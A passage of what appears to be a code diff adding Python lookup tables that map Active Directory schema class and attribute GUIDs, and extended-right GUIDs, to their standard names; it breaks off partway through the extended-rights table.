'9a0dc343-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Queue', + '938ad788-225f-4eee-93b9-ad24a159e1db': 'ms-DS-Key-Credential-Link-BL', + 'f6ea0a94-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Admin-Notification', + '604877cd-9cdb-47c7-b03d-3daadb044910': 'ms-DS-External-Store', + 'efd7d7f7-178e-4767-87fa-f8a16b840544': 'ms-TAPI-Ip-Address', + 'ba305f71-47e3-11d0-a1a6-00c04fd930c9': 'Print-Min-X-Extent', + '32ecd698-ce9e-4894-a134-7ad76b082e83': 'msSFU-30-Key-Attributes', + 'bf967aba-0de6-11d0-a285-00aa003049e2': 'User', + 'fcca766a-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Shell-Maximum', + '9b88bda8-dd82-4998-a91d-5f2d2baf1927': 'ms-DS-Optional-Feature-GUID', + '89c1ebcf-7a5f-41fd-99ca-c900b32299ab': 'ms-TAPI-Protocol-Id', + 'ba305f72-47e3-11d0-a1a6-00c04fd930c9': 'Print-Min-Y-Extent', + 'a2e11a42-e781-4ca1-a7fa-ec307f62b6a1': 'msSFU-30-Field-Separator', + 'ddc790ac-af4d-442a-8f0f-a1d4caa7dd92': 'Application-Version', + '9a0dc347-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Settings', + '167757bc-47f3-11d1-a9c3-0000f80367c1': 'DSA-Signature', + 'fb00dcdf-ac37-483a-9c12-ac53a6603033': 'ms-DS-Filter-Containers', + '70a4e7ea-b3b9-4643-8918-e6dd2471bfd4': 'ms-TAPI-Unique-Identifier', + 'ba305f79-47e3-11d0-a1a6-00c04fd930c9': 'Print-Network-Address', + '95b2aef0-27e4-4cb9-880a-a2d9a9ea23b8': 'msSFU-30-Intra-Field-Separator', + '5df2b673-6d41-4774-b3e8-d52e8ee9ff99': 'ms-DS-Device', + '52458021-ca6a-11d0-afff-0000f80367c1': 'Dynamic-LDAP-Server', + '11e9a5bc-4517-4049-af9c-51554fb0fc09': 'ms-DS-Has-Instantiated-NCs', + '6366c0c1-6972-4e66-b3a5-1d52ad0c0547': 'ms-WMI-Author', + 'ba305f6a-47e3-11d0-a1a6-00c04fd930c9': 'Print-Notify', + 'ef9a2df0-2e57-48c8-8950-0cc674004733': 'msSFU-30-Search-Attributes', + '9a0dc346-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-Link', + '5b47d60f-6090-40b2-9f37-2a4de88f3063': 'ms-DS-Key-Credential-Link', + 'bf967961-0de6-11d0-a285-00aa003049e2': 'E-mail-Addresses', + '6f17e347-a842-4498-b8b3-15e007da4fed': 'ms-DS-Has-Domain-NCs', + 'f9cdf7a0-ec44-4937-a79b-cd91522b3aa8': 'ms-WMI-ChangeDate', + '3bcbfcf4-4d3d-11d0-a1a6-00c04fd930c9': 'Print-Number-Up', + 'e167b0b6-4045-4433-ac35-53f972d45cba': 'msSFU-30-Result-Attributes', + 'bf967a81-0de6-11d0-a285-00aa003049e2': 'Builtin-Domain', + '8e4eb2ec-4712-11d0-a1a0-00c04fd930c9': 'EFSPolicy', + 'ae2de0e2-59d7-4d47-8d47-ed4dfe4357ad': 'ms-DS-Has-Master-NCs', + '90c1925f-4a24-4b07-b202-be32eb3c8b74': 'ms-WMI-Class', + '281416d0-1968-11d0-a28f-00aa003049e2': 'Print-Orientations-Supported', + 'b7b16e01-024f-4e23-ad0d-71f1a406b684': 'msSFU-30-Map-Filter', + '19195a60-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Connection', + 'f2699093-f25a-4220-9deb-03df4cc4a9c5': 'Dns-Zone-Scope-Container', + 'bf967962-0de6-11d0-a285-00aa003049e2': 'Employee-ID', + '80641043-15a2-40e1-92a2-8ca866f70776': 'ms-DS-Host-Service-Account', + '2b9c0ebc-c272-45cb-99d2-4d0e691632e0': 'ms-WMI-ClassDefinition', + 'ba305f69-47e3-11d0-a1a6-00c04fd930c9': 'Print-Owner', + '4cc908a2-9e18-410e-8459-f17cc422020a': 'msSFU-30-Master-Server-Name', + '7d6c0e9d-7e20-11d0-afd6-00c04fd930c9': 'Category-Registration', + 'a8df73ef-c5ea-11d1-bbcb-0080c76670c0': 'Employee-Number', + '79abe4eb-88f3-48e7-89d6-f4bc7e98c331': 'ms-DS-Host-Service-Account-BL', + '748b0a2e-3351-4b3f-b171-2f17414ea779': 'ms-WMI-CreationDate', + '19405b97-3cfa-11d1-a9c0-0000f80367c1': 'Print-Pages-Per-Minute', + '02625f05-d1ee-4f9f-b366-55266becb95c': 'msSFU-30-Order-Number', + 'f0f8ffab-1191-11d0-a060-00aa006c33ed': 'NTDS-DSA', + '696f8a61-2d3f-40ce-a4b3-e275dfcc49c5': 'Dns-Zone-Scope', + 'a8df73f0-c5ea-11d1-bbcb-0080c76670c0': 'Employee-Type', + '7bc64cea-c04e-4318-b102-3e0729371a65': 'ms-DS-Integer', + '50c8673a-8f56-4614-9308-9e1340fb9af3': 'ms-WMI-Genus', + 'ba305f77-47e3-11d0-a1a6-00c04fd930c9': 'Print-Rate', + '16c5d1d3-35c2-4061-a870-a5cefda804f0': 'msSFU-30-Name', + '3fdfee50-47f4-11d1-a9c3-0000f80367c1': 'Certification-Authority', + 'a8df73f2-c5ea-11d1-bbcb-0080c76670c0': 'Enabled', + 'bc60096a-1b47-4b30-8877-602c93f56532': 'ms-DS-IntId', + '9339a803-94b8-47f7-9123-a853b9ff7e45': 'ms-WMI-ID', + 'ba305f78-47e3-11d0-a1a6-00c04fd930c9': 'Print-Rate-Unit', + '20ebf171-c69a-4c31-b29d-dcb837d8912d': 'msSFU-30-Aliases', + '85d16ec1-0791-4bc8-8ab3-70980602ff8c': 'NTDS-DSA-RO', + 'e0fa1e8c-9b45-11d0-afdd-00c04fd930c9': 'Dns-Node', + 'bf967963-0de6-11d0-a285-00aa003049e2': 'Enabled-Connection', + '6fabdcda-8c53-204f-b1a4-9df0c67c1eb4': 'ms-DS-Is-Possible-Values-Present', + '1b0c07f8-76dd-4060-a1e1-70084619dc90': 'ms-WMI-intDefault', + '281416c6-1968-11d0-a28f-00aa003049e2': 'Print-Separator-File', + '37830235-e5e9-46f2-922b-d8d44f03e7ae': 'msSFU-30-Key-Values', + 'bf967a82-0de6-11d0-a285-00aa003049e2': 'Class-Registration', + '3417ab48-df24-4fb1-80b0-0fcb367e25e3': 'ms-DS-Expire-Passwords-On-Smart-Card-Only-Accounts', + '2a39c5b3-8960-11d1-aebc-0000f80367c1': 'Enrollment-Providers', + '1df5cf33-0fe5-499e-90e1-e94b42718a46': 'ms-DS-isGC', + '18e006b9-6445-48e3-9dcf-b5ecfbc4df8e': 'ms-WMI-intFlags1', + 'ba305f68-47e3-11d0-a1a6-00c04fd930c9': 'Print-Share-Name', + '9ee3b2e3-c7f3-45f8-8c9f-1382be4984d2': 'msSFU-30-Nis-Domain', + '19195a5f-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Service', + '65650576-4699-4fc9-8d18-26e0cd0137a6': 'ms-DS-Token-Group-Names', + 'd213decc-d81a-4384-aac2-dcfcfd631cf8': 'Entry-TTL', + 'a8e8aa23-3e67-4af1-9d7a-2f1a1d633ac9': 'ms-DS-isRODC', + '075a42c9-c55a-45b1-ac93-eb086b31f610': 'ms-WMI-intFlags2', + 'ba305f6c-47e3-11d0-a1a6-00c04fd930c9': 'Print-Spooling', + '93095ed3-6f30-4bdd-b734-65d569f5f7c9': 'msSFU-30-Domains', + 'fa06d1f4-7922-4aad-b79c-b2201f54417c': 'ms-DS-Token-Group-Names-Global-And-Universal', + '9a7ad947-ca53-11d1-bbd0-0080c76670c0': 'Extended-Attribute-Info', + '8ab15858-683e-466d-877f-d640e1f9a611': 'ms-DS-Last-Known-RDN', + 'f29fa736-de09-4be4-b23a-e734c124bacc': 'ms-WMI-intFlags3', + 'ba305f73-47e3-11d0-a1a6-00c04fd930c9': 'Print-Stapling-Supported', + '084a944b-e150-4bfe-9345-40e1aedaebba': 'msSFU-30-Yp-Servers', + 'bf967a84-0de6-11d0-a285-00aa003049e2': 'Class-Store', + '19195a5d-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Site-Settings', + '523fc6c8-9af4-4a02-9cd7-3dea129eeb27': 'ms-DS-Token-Group-Names-No-GC-Acceptable', + 'bf967966-0de6-11d0-a285-00aa003049e2': 'Extended-Chars-Allowed', + 'c523e9c0-33b5-4ac8-8923-b57b927f42f6': 'ms-DS-KeyVersionNumber', + 'bd74a7ac-c493-4c9c-bdfa-5c7b119ca6b2': 'ms-WMI-intFlags4', + '281416c9-1968-11d0-a28f-00aa003049e2': 'Print-Start-Time', + '04ee6aa6-f83b-469a-bf5a-3c00d3634669': 'msSFU-30-Max-Gid-Number', + '9a7ad948-ca53-11d1-bbd0-0080c76670c0': 'Extended-Class-Info', + 'ad7940f8-e43a-4a42-83bc-d688e59ea605': 'ms-DS-Logon-Time-Sync-Interval', + 'fb920c2c-f294-4426-8ac1-d24b42aa2bce': 'ms-WMI-intMax', + 'ba305f6b-47e3-11d0-a1a6-00c04fd930c9': 'Print-Status', + 'ec998437-d944-4a28-8500-217588adfc75': 'msSFU-30-Max-Uid-Number', + 'bf967a85-0de6-11d0-a285-00aa003049e2': 'Com-Connection-Point', + '2a132586-9373-11d1-aebc-0000f80367c1': 'NTFRS-Member', + 'bf967ab0-0de6-11d0-a285-00aa003049e2': 'Security-Principal', + 'bf967972-0de6-11d0-a285-00aa003049e2': 'Extension-Name', + '60234769-4819-4615-a1b2-49d2f119acb5': 'ms-DS-Mastered-By', + '68c2e3ba-9837-4c70-98e0-f0c33695d023': 'ms-WMI-intMin', + '244b296e-5abd-11d0-afd2-00c04fd930c9': 'Printer-Name', + '585c9d5e-f599-4f07-9cf9-4373af4b89d3': 'msSFU-30-NSMAP-Field-Position', + '7ece040f-9327-4cdc-aad3-037adfe62639': 'ms-DS-User-Allowed-NTLM-Network-Authentication', + 'd24e2846-1dd9-4bcf-99d7-a6227cc86da7': 'Extra-Columns', + 'fdd337f5-4999-4fce-b252-8ff9c9b43875': 'ms-DS-Maximum-Password-Age', + '6af565f6-a749-4b72-9634-3c5d47e6b4e0': 'ms-WMI-intValidValues', + 'bf967a01-0de6-11d0-a285-00aa003049e2': 'Prior-Set-Time', + 'c875d82d-2848-4cec-bb50-3c5486d09d57': 'msSFU-30-Posix-Member', + 'bf967a86-0de6-11d0-a285-00aa003049e2': 'Computer', + '5245803a-ca6a-11d0-afff-0000f80367c1': 'NTFRS-Replica-Set', + '278947b9-5222-435e-96b7-1503858c2b48': 'ms-DS-Service-Allowed-NTLM-Network-Authentication', + 'bf967974-0de6-11d0-a285-00aa003049e2': 'Facsimile-Telephone-Number', + '2a74f878-4d9c-49f9-97b3-6767d1cbd9a3': 'ms-DS-Minimum-Password-Age', + 'f4d8085a-8c5b-4785-959b-dc585566e445': 'ms-WMI-int8Default', + 'bf967a02-0de6-11d0-a285-00aa003049e2': 'Prior-Value', + '7bd76b92-3244-438a-ada6-24f5ea34381e': 'msSFU-30-Posix-Member-Of', + 'aacd2170-482a-44c6-b66e-42c2f66a285c': 'ms-DS-Strong-NTLM-Policy', + 'd9e18315-8939-11d1-aebc-0000f80367c1': 'File-Ext-Priority', + 'b21b3439-4c3a-441c-bb5f-08f20e9b315e': 'ms-DS-Minimum-Password-Length', + 'e3d8b547-003d-4946-a32b-dc7cedc96b74': 'ms-WMI-int8Max', + '281416c7-1968-11d0-a28f-00aa003049e2': 'Priority', + '97d2bf65-0466-4852-a25a-ec20f57ee36c': 'msSFU-30-Netgroup-Host-At-Domain', + 'bf967a87-0de6-11d0-a285-00aa003049e2': 'Configuration', + 'f780acc2-56f0-11d1-a9c6-0000f80367c1': 'NTFRS-Settings', + 'bf967976-0de6-11d0-a285-00aa003049e2': 'Flags', + 'f9c9a57c-3941-438d-bebf-0edaf2aca187': 'ms-DS-OIDToGroup-Link', + 'ed1489d1-54cc-4066-b368-a00daa2664f1': 'ms-WMI-int8Min', + 'bf967a03-0de6-11d0-a285-00aa003049e2': 'Private-Key', + 'a9e84eed-e630-4b67-b4b3-cad2a82d345e': 'msSFU-30-Netgroup-User-At-Domain', + 'ab6a1156-4dc7-40f5-9180-8e4ce42fe5cd': 'ms-DS-AuthN-Policy', + 'b7b13117-b82e-11d0-afee-0000f80367c1': 'Flat-Name', + '1a3d0d20-5844-4199-ad25-0f5039a76ada': 'ms-DS-OIDToGroup-Link-BL', + '103519a9-c002-441b-981a-b0b3e012c803': 'ms-WMI-int8ValidValues', + '19405b9a-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Attributes', + '0dea42f5-278d-4157-b4a7-49b59664915b': 'msSFU-30-Is-Valid-Container', + '5cb41ecf-0e4c-11d0-a286-00aa003049e2': 'Connection-Point', + '2a132588-9373-11d1-aebc-0000f80367c1': 'NTFRS-Subscriber', + 'b002f407-1340-41eb-bca0-bd7d938e25a9': 'ms-DS-Source-Anchor', + 'bf967977-0de6-11d0-a285-00aa003049e2': 'Force-Logoff', + 'fed81bb7-768c-4c2f-9641-2245de34794d': 'ms-DS-Password-History-Length', + '6736809f-2064-443e-a145-81262b1f1366': 'ms-WMI-Mof', + '19405b98-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Display-Name', + '4503d2a3-3d70-41b8-b077-dff123c15865': 'msSFU-30-Crypt-Method', + '5cb41ed0-0e4c-11d0-a286-00aa003049e2': 'Contact', + '34f6bdf5-2e79-4c3b-8e14-3d93b75aab89': 'ms-DS-Object-SOA', + '3e97891e-8c01-11d0-afda-00c04fd930c9': 'Foreign-Identifier', + 'db68054b-c9c3-4bf0-b15b-0fb52552a610': 'ms-DS-Password-Complexity-Enabled', + 'c6c8ace5-7e81-42af-ad72-77412c5941c4': 'ms-WMI-Name', + '19405b9b-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Holder', + 'e65c30db-316c-4060-a3a0-387b083f09cd': 'ms-TS-Profile-Path', + 'bf967aa7-0de6-11d0-a285-00aa003049e2': 'Person', + '2a132587-9373-11d1-aebc-0000f80367c1': 'NTFRS-Subscriptions', + '7bfdcb88-4807-11d1-a9c3-0000f80367c1': 'Friendly-Names', + '75ccdd8f-af6c-4487-bb4b-69e4d38a959c': 'ms-DS-Password-Reversible-Encryption-Enabled', + 'eaba628f-eb8e-4fe9-83fc-693be695559b': 'ms-WMI-NormalizedClass', + '19405b99-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Value', + '5d3510f0-c4e7-4122-b91f-a20add90e246': 'ms-TS-Home-Directory', + 'bf967ab7-0de6-11d0-a285-00aa003049e2': 'Top', + '9a7ad949-ca53-11d1-bbd0-0080c76670c0': 'From-Entry', + '94f2800c-531f-4aeb-975d-48ac39fd8ca4': 'ms-DS-Local-Effective-Deletion-Time', + '27e81485-b1b0-4a8b-bedd-ce19a837e26e': 'ms-WMI-Parm1', + 'd9e18317-8939-11d1-aebc-0000f80367c1': 'Product-Code', + '5f0a24d9-dffa-4cd9-acbf-a0680c03731e': 'ms-TS-Home-Drive', + 'bf967a8b-0de6-11d0-a285-00aa003049e2': 'Container', + 'bf967aa3-0de6-11d0-a285-00aa003049e2': 'Organization', + 'bf967979-0de6-11d0-a285-00aa003049e2': 'From-Server', + '4ad6016b-b0d2-4c9b-93b6-5964b17b968c': 'ms-DS-Local-Effective-Recycle-Time', + '0003508e-9c42-4a76-a8f4-38bf64bab0de': 'ms-WMI-Parm2', + 'bf967a05-0de6-11d0-a285-00aa003049e2': 'Profile-Path', + '3a0cd464-bc54-40e7-93ae-a646a6ecc4b4': 'ms-TS-Allow-Logon', + 'bf967aa4-0de6-11d0-a285-00aa003049e2': 'Organizational-Person', + 'bf967a90-0de6-11d0-a285-00aa003049e2': 'Sam-Domain', + '2a132578-9373-11d1-aebc-0000f80367c1': 'Frs-Computer-Reference', + 'b05bda89-76af-468a-b892-1be55558ecc8': 'ms-DS-Lockout-Observation-Window', + '45958fb6-52bd-48ce-9f9f-c2712d9f2bfc': 'ms-WMI-Parm3', + 'e1aea402-cd5b-11d0-afff-0000f80367c1': 'Proxied-Object-Name', + '15177226-8642-468b-8c48-03ddfd004982': 'ms-TS-Remote-Control', + '8297931e-86d3-11d0-afda-00c04fd930c9': 'Control-Access-Right', + '2a132579-9373-11d1-aebc-0000f80367c1': 'Frs-Computer-Reference-BL', + '421f889a-472e-4fe4-8eb9-e1d0bc6071b2': 'ms-DS-Lockout-Duration', + '3800d5a3-f1ce-4b82-a59a-1528ea795f59': 'ms-WMI-Parm4', + 'bf967a06-0de6-11d0-a285-00aa003049e2': 'Proxy-Addresses', + '326f7089-53d8-4784-b814-46d8535110d2': 'ms-TS-Max-Disconnection-Time', + 'a8df74bf-c5ea-11d1-bbcb-0080c76670c0': 'Organizational-Role', + '2a13257a-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Data-Creation', + 'b8c8c35e-4a19-4a95-99d0-69fe4446286f': 'ms-DS-Lockout-Threshold', + 'ab920883-e7f8-4d72-b4a0-c0449897509d': 'ms-WMI-PropertyName', + '5fd424d6-1262-11d0-a060-00aa006c33ed': 'Proxy-Generation-Enabled', + '1d960ee2-6464-4e95-a781-e3b5cd5f9588': 'ms-TS-Max-Connection-Time', + 'bf967a8c-0de6-11d0-a285-00aa003049e2': 'Country', + '2a13257b-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Inbound-Backlog', + '64c80f48-cdd2-4881-a86d-4e97b6f561fc': 'ms-DS-PSO-Applies-To', + '65fff93e-35e3-45a3-85ae-876c6718297f': 'ms-WMI-Query', + 'bf967a07-0de6-11d0-a285-00aa003049e2': 'Proxy-Lifetime', + 'ff739e9c-6bb7-460e-b221-e250f3de0f95': 'ms-TS-Max-Idle-Time', + 'bf967aa5-0de6-11d0-a285-00aa003049e2': 'Organizational-Unit', + '2a13257c-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Outbound-Backlog', + '5e6cf031-bda8-43c8-aca4-8fee4127005b': 'ms-DS-PSO-Applied', + '7d3cfa98-c17b-4254-8bd7-4de9b932a345': 'ms-WMI-QueryLanguage', + '80a67e28-9f22-11d0-afdd-00c04fd930c9': 'Public-Key-Policy', + '366ed7ca-3e18-4c7f-abae-351a01e4b4f7': 'ms-TS-Reconnection-Action', + '167758ca-47f3-11d1-a9c3-0000f80367c1': 'CRL-Distribution-Point', + '1be8f171-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Directory-Filter', + 'eadd3dfe-ae0e-4cc2-b9b9-5fe5b6ed2dd2': 'ms-DS-Required-Domain-Behavior-Version', + '87b78d51-405f-4b7f-80ed-2bd28786f48d': 'ms-WMI-ScopeGuid', + 'b4b54e50-943a-11d1-aebd-0000f80367c1': 'Purported-Search', + '1cf41bba-5604-463e-94d6-1a1287b72ca3': 'ms-TS-Broken-Connection-Action', + 'bf967aa6-0de6-11d0-a285-00aa003049e2': 'Package-Registration', + '1be8f177-a9ff-11d0-afe2-00c04fd930c9': 'FRS-DS-Poll', + '4beca2e8-a653-41b2-8fee-721575474bec': 'ms-DS-Required-Forest-Behavior-Version', + '34f7ed6c-615d-418d-aa00-549a7d7be03e': 'ms-WMI-SourceOrganization', + 'bf967a09-0de6-11d0-a285-00aa003049e2': 'Pwd-History-Length', + '23572aaf-29dd-44ea-b0fa-7e8438b9a4a3': 'ms-TS-Connect-Client-Drives', + 'bf967a8d-0de6-11d0-a285-00aa003049e2': 'Cross-Ref', + '52458020-ca6a-11d0-afff-0000f80367c1': 'FRS-Extensions', + 'b77ea093-88d0-4780-9a98-911f8e8b1dca': 'ms-DS-Resultant-PSO', + '152e42b6-37c5-4f55-ab48-1606384a9aea': 'ms-WMI-stringDefault', + 'bf967a0a-0de6-11d0-a285-00aa003049e2': 'Pwd-Last-Set', + '8ce6a937-871b-4c92-b285-d99d4036681c': 'ms-TS-Connect-Printer-Drives', + '1be8f178-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Fault-Condition', + '456374ac-1f0a-4617-93cf-bc55a7c9d341': 'ms-DS-Password-Settings-Precedence', + '37609d31-a2bf-4b58-8f53-2b64e57a076d': 'ms-WMI-stringValidValues', + 'bf967a0b-0de6-11d0-a285-00aa003049e2': 'Pwd-Properties', + 'c0ffe2bd-cacf-4dc7-88d5-61e9e95766f6': 'ms-TS-Default-To-Main-Printer', + 'ef9e60e0-56f7-11d1-a9c6-0000f80367c1': 'Cross-Ref-Container', + 'b7b13122-b82e-11d0-afee-0000f80367c1': 'Physical-Location', + '1be8f170-a9ff-11d0-afe2-00c04fd930c9': 'FRS-File-Filter', + 'd1e169a4-ebe9-49bf-8fcb-8aef3874592d': 'ms-DS-Max-Values', + '95b6d8d6-c9e8-4661-a2bc-6a5cabc04c62': 'ms-WMI-TargetClass', + '80a67e4e-9f22-11d0-afdd-00c04fd930c9': 'Quality-Of-Service', + 'a744f666-3d3c-4cc8-834b-9d4f6f687b8b': 'ms-TS-Work-Directory', + '2a13257d-9373-11d1-aebc-0000f80367c1': 'FRS-Flags', + 'cbf7e6cd-85a4-4314-8939-8bfe80597835': 'ms-DS-Members-For-Az-Role', + '1c4ab61f-3420-44e5-849d-8b5dbf60feb7': 'ms-WMI-TargetNameSpace', + 'cbf70a26-7e78-11d2-9921-0000f87a57d4': 'Query-Filter', + '9201ac6f-1d69-4dfb-802e-d95510109599': 'ms-TS-Initial-Program', + 'bf967a8e-0de6-11d0-a285-00aa003049e2': 'Device', + 'e5209ca2-3bba-11d2-90cc-00c04fd91ab1': 'PKI-Certificate-Template', + '5245801e-ca6a-11d0-afff-0000f80367c1': 'FRS-Level-Limit', + 'ececcd20-a7e0-4688-9ccf-02ece5e287f5': 'ms-DS-Members-For-Az-Role-BL', + 'c44f67a5-7de5-4a1f-92d9-662b57364b77': 'ms-WMI-TargetObject', + 'e1aea404-cd5b-11d0-afff-0000f80367c1': 'Query-Policy-BL', + '40e1c407-4344-40f3-ab43-3625a34a63a2': 'ms-TS-Endpoint-Data', + '2a13257e-9373-11d1-aebc-0000f80367c1': 'FRS-Member-Reference', + '5a2eacd7-cc2b-48cf-9d9a-b6f1a0024de9': 'ms-DS-NC-Type', + '5006a79a-6bfe-4561-9f52-13cf4dd3e560': 'ms-WMI-TargetPath', + 'e1aea403-cd5b-11d0-afff-0000f80367c1': 'Query-Policy-Object', + '377ade80-e2d8-46c5-9bcd-6d9dec93b35e': 'ms-TS-Endpoint-Type', + '8447f9f2-1027-11d0-a05f-00aa006c33ed': 'Dfs-Configuration', + 'ee4aa692-3bba-11d2-90cc-00c04fd91ab1': 'PKI-Enrollment-Service', + '2a13257f-9373-11d1-aebc-0000f80367c1': 'FRS-Member-Reference-BL', + 'cafcb1de-f23c-46b5-adf7-1e64957bd5db': 'ms-DS-Non-Members', + 'ca2a281e-262b-4ff7-b419-bc123352a4e9': 'ms-WMI-TargetType', + '7bfdcb86-4807-11d1-a9c3-0000f80367c1': 'QueryPoint', + '3c08b569-801f-4158-b17b-e363d6ae696a': 'ms-TS-Endpoint-Plugin', +} + + +EXTENDED_RIGHTS = { + 'ab721a52-1e2f-11d0-9819-00aa0040529b': 'Domain-Administer-Server', + 'ab721a53-1e2f-11d0-9819-00aa0040529b': 'User-Change-Password', + '00299570-246d-11d0-a768-00aa006e0529': 'User-Force-Change-Password', + 'ab721a55-1e2f-11d0-9819-00aa0040529b': 'Send-To', + 'c7407360-20bf-11d0-a768-00aa006e0529': 'Domain-Password', + '59ba2f42-79a2-11d0-9020-00c04fc2d3cf': 'General-Information', + '4c164200-20c0-11d0-a768-00aa006e0529': 'User-Account-Restrictions', + '5f202010-79a5-11d0-9020-00c04fc2d4cf': 'User-Logon', + 'bc0ac240-79a9-11d0-9020-00c04fc2d4cf': 'Membership', + 'a1990816-4298-11d1-ade2-00c04fd8d5cd': 'Open-Address-Book', + 'e45795b2-9455-11d1-aebd-0000f80367c1': 'Email-Information', + 'e45795b3-9455-11d1-aebd-0000f80367c1': 'Web-Information', + '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Get-Changes', + '1131f6ab-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Synchronize', + '1131f6ac-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Manage-Topology', + 'e12b56b6-0a95-11d1-adbb-00c04fd8d5cd': 'Change-Schema-Master', + 'd58d5f36-0a98-11d1-adbb-00c04fd8d5cd': 'Change-Rid-Master', + 'fec364e0-0a98-11d1-adbb-00c04fd8d5cd': 'Do-Garbage-Collection', + '0bc1554e-0a99-11d1-adbb-00c04fd8d5cd': 'Recalculate-Hierarchy', + '1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd': 'Allocate-Rids', + 'bae50096-4752-11d1-9052-00c04fc2d4cf': 'Change-PDC', + '440820ad-65b4-11d1-a3da-0000f875ae0d': 'Add-GUID', + '014bf69c-7b3b-11d1-85f6-08002be74fab': 'Change-Domain-Master', + '4b6e08c0-df3c-11d1-9c86-006008764d0e': 'msmq-Receive-Dead-Letter', + '4b6e08c1-df3c-11d1-9c86-006008764d0e': 'msmq-Peek-Dead-Letter', + '4b6e08c2-df3c-11d1-9c86-006008764d0e': 'msmq-Receive-computer-Journal', + '4b6e08c3-df3c-11d1-9c86-006008764d0e': 'msmq-Peek-computer-Journal', + '06bd3200-df3e-11d1-9c86-006008764d0e': 'msmq-Receive', + '06bd3201-df3e-11d1-9c86-006008764d0e': 'msmq-Peek', + '06bd3202-df3e-11d1-9c86-006008764d0e': 'msmq-Send', + '06bd3203-df3e-11d1-9c86-006008764d0e': 'msmq-Receive-journal', + 'b4e60130-df3f-11d1-9c86-006008764d0e': 'msmq-Open-Connector', + 'edacfd8f-ffb3-11d1-b41d-00a0c968f939': 'Apply-Group-Policy', + '037088f8-0ae1-11d2-b422-00a0c968f939': 'RAS-Information', + '9923a32a-3607-11d2-b9be-0000f87a36b2': 'DS-Install-Replica', + 'cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd': 'Change-Infrastructure-Master', + 'be2bb760-7f46-11d2-b9ad-00c04f79f805': 'Update-Schema-Cache', + '62dd28a8-7f46-11d2-b9ad-00c04f79f805': 'Recalculate-Security-Inheritance', + '69ae6200-7f46-11d2-b9ad-00c04f79f805': 'DS-Check-Stale-Phantoms', + '0e10c968-78fb-11d2-90d4-00c04f79dc55': 'Certificate-Enrollment', + 'bf9679c0-0de6-11d0-a285-00aa003049e2': 'Self-Membership', + '72e39547-7b18-11d1-adef-00c04fd8d5cd': 'Validated-DNS-Host-Name', + 'b7b1b3dd-ab09-4242-9e30-9980e5d322f7': 'Generate-RSoP-Planning', + '9432c620-033c-4db7-8b58-14ef6d0bf477': 'Refresh-Group-Cache', + '91d67418-0135-4acc-8d79-c08e857cfbec': 'SAM-Enumerate-Entire-Domain', + 'b7b1b3de-ab09-4242-9e30-9980e5d322f7': 'Generate-RSoP-Logging', + 'b8119fd0-04f6-4762-ab7a-4986c76b3f9a': 'Domain-Other-Parameters', + 'e2a36dc9-ae17-47c3-b58b-be34c55ba633': 'Create-Inbound-Forest-Trust', + '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Get-Changes-All', + 'ba33815a-4f93-4c76-87f3-57574bff8109': 'Migrate-SID-History', + '45ec5156-db7e-47bb-b53f-dbeb2d03c40f': 'Reanimate-Tombstones', + '2f16c4a5-b98e-432c-952a-cb388ba33f2e': 'DS-Execute-Intentions-Script', + 'f98340fb-7c5b-4cdb-a00b-2ebdfa115a96': 'DS-Replication-Monitor-Topology', + '280f369c-67c7-438e-ae98-1d46f3c6f541': 'Update-Password-Not-Required-Bit', + 'ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501': 'Unexpire-Password', + '05c74c5e-4deb-43b4-bd9f-86664c2a7fd5': 'Enable-Per-User-Reversibly-Encrypted-Password', + '4ecc03fe-ffc0-4947-b630-eb672a8a9dbc': 'DS-Query-Self-Quota', + '91e647de-d96f-4b70-9557-d63ff4f3ccd8': 'Private-Information', + '1131f6ae-9c07-11d1-f79f-00c04fc2dcd2': 'Read-Only-Replication-Secret-Synchronization', + '5805bc62-bdc9-4428-a5e2-856a0f4c185e': 'Terminal-Server-License-Server', + '1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8': 'Reload-SSL-Certificate', + '89e95b76-444d-4c62-991a-0facbeda640c': 'DS-Replication-Get-Changes-In-Filtered-Set', + '7726b9d5-a4b4-4288-a6b2-dce952e80a7f': 'Run-Protect-Admin-Groups-Task', + '7c0e2a7c-a419-48e4-a995-10180aad54dd': 'Manage-Optional-Features', + '3e0f7e18-2c7a-4c10-ba82-4d926db99a3e': 'DS-Clone-Domain-Controller', + 'd31a8757-2447-4545-8081-3bb610cacbf2': 'Validated-MS-DS-Behavior-Version', + '80863791-dbe9-4eb8-837e-7f0ab55d9ac7': 'Validated-MS-DS-Additional-DNS-Host-Name', + 'a05b8cc2-17bc-4802-a710-e7c15ab866a2': 'Certificate-AutoEnrollment', + '4125c71f-7fac-4ff0-bcb7-f09a41325286': 'DS-Set-Owner', + '88a9933e-e5c8-4f2a-9dd7-2527416b8092': 'DS-Bypass-Quota', + '084c93a2-620d-4879-a836-f0ae47de0e89': 'DS-Read-Partition-Secrets', + '94825a8d-b171-4116-8146-1e34d8f54401': 'DS-Write-Partition-Secrets', + '9b026da6-0d3c-465c-8bee-5199d7165cba': 'DS-Validated-Write-Computer', + 'ab721a54-1e2f-11d0-9819-00aa0040529b': 'Send-As', + 'ab721a56-1e2f-11d0-9819-00aa0040529b': 'Receive-As', + '77b5b886-944a-11d1-aebd-0000f80367c1': 'Personal-Information', + 'e48d0154-bcf8-11d1-8702-00c04fb96050': 'Public-Information', + 'f3a64788-5306-11d1-a9c5-0000f80367c1': 'Validated-SPN', + 